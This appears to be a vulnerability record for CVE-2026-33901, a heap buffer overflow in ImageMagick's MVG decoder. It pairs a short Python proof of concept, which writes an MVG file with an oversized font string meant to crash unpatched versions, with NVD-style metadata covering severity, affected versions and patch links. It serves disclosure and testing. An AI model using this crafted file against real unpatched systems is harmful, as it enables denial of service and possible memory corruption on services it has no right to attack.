CVE-2026-33901

# Proof of Concept for CVE-2026-33901 # This PoC generates a malicious MVG file to trigger the heap overflow. import os # Generate a payload intended to cause an out-of-bounds write in the MVG decoder # The specific length and content depend on the heap layout of the target ImageMagick version. buffer_overflow_trigger = "A" * 10000 mvg_content = f"""push graphic-context viewbox 0 0 640 480 font {buffer_overflow_trigger} pop graphic-context """ filename = "cve_2026_33901_poc.mvg" with open(filename, "w") as f: f.write(mvg_content) print(f"[+] Generated malicious file: {filename}") print("[+] Test by converting the file with an unpatched ImageMagick:") print(f" convert {filename} output.png")

{"cve": {"id": "CVE-2026-33901", "sourceIdentifier": "[email protected]", "published": "2026-04-13T21:16:25.497", "lastModified": "2026-04-17T20:46:41.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, a heap buffer overflow occurs in the MVG decoder that could result in an out of bounds write when processing a crafted image. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.9.13-44", "matchCriteriaId": "FEBAB6BF-AFEC-4D29-95E8-88C4585C9896"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0-0", "versionEndExcluding": "7.1.2-19", "matchCriteriaId": "80D20334-B25F-479D-A411-DBD1364D303C"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/commit/4c72003e9e54a4ebaa938d239e75f5d285527ebe", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-x9h5-r9v2-vcww", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}